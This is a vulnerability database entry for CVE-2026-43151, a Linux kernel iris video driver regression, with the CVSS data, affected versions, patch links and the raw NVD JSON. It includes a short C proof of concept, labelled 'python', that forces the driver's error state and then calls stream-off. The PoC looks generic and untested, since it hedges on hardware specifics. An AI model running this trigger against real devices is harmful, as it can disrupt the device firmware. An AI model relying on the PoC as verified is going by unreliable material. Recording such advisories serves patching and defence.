CVE-2026-43151

Description

In the Linux kernel, the following vulnerability has been resolved: Revert "media: iris: Add sanity check for stop streaming" This reverts commit ad699fa78b59241c9d71a8cafb51525f3dab04d4. Revert the check that skipped stop_streaming when the instance was in IRIS_INST_ERROR, as it caused multiple regressions: 1. Buffers were not returned to vb2 when the instance was already in error state, triggering warnings in the vb2 core because buffer completion was skipped. 2. If a session failed early (e.g. unsupported configuration), the instance transitioned to IRIS_INST_ERROR. When userspace attempted to stop streaming for cleanup, stop_streaming was skipped due to the added check, preventing proper teardown and leaving the firmware in an inconsistent state.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (包含commit ad699fa78b59241c9d71a8cafb51525f3dab04d4的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43151
 * This code attempts to trigger the iris driver vulnerability
 * by forcing an error state and then attempting cleanup.
 */

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/videodev2.h>

int main() {
    int fd = open("/dev/video0", O_RDWR);
    if (fd < 0) return -1;

    struct v4l2_format fmt;
    fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
    // Configure an unsupported parameter to trigger IRIS_INST_ERROR
    // (Specifics depend on hardware capabilities)
    fmt.fmt.pix_mp.width = 0; 
    fmt.fmt.pix_mp.height = 0;
    
    // This call is expected to fail, transitioning instance to error state
    ioctl(fd, VIDIOC_S_FMT, &fmt);

    // Attempt standard streaming cleanup
    // In vulnerable versions, stop_streaming is skipped internally
    // due to the IRIS_INST_ERROR check, leaving firmware inconsistent.
    int type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
    ioctl(fd, VIDIOC_STREAMOFF, &type);

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43151
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43151
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43151/
[4] VulDB https://vuldb.com/cve/CVE-2026-43151
[5] https://git.kernel.org/stable/c/370e19042fb8ac68109f8bdb0fdd8118baf39318
[6] https://git.kernel.org/stable/c/a58b9d1c1cf81c0b29f1983c63c3e0c0caa68398
[7] https://git.kernel.org/stable/c/bd4f8fa216182f33c06d4c1e162975a0c42fb14e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43151", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:32.827", "lastModified": "2026-05-13T20:12:57.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"media: iris: Add sanity check for stop streaming\"\n\nThis reverts commit ad699fa78b59241c9d71a8cafb51525f3dab04d4.\n\nRevert the check that skipped stop_streaming when the instance was in\nIRIS_INST_ERROR, as it caused multiple regressions:\n\n1. Buffers were not returned to vb2 when the instance was already in\n error state, triggering warnings in the vb2 core because buffer\n completion was skipped.\n\n2. If a session failed early (e.g. unsupported configuration), the\n instance transitioned to IRIS_INST_ERROR. When userspace attempted\n to stop streaming for cleanup, stop_streaming was skipped due to the\n added check, preventing proper teardown and leaving the firmware\n in an inconsistent state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.3", "versionEndExcluding": "6.18.16", "matchCriteriaId": "467D065A-A7C4-4E16-81D4-A299BE23E234"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/370e19042fb8ac68109f8bdb0fdd8118baf39318", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a58b9d1c1cf81c0b29f1983c63c3e0c0caa68398", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd4f8fa216182f33c06d4c1e162975a0c42fb14e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}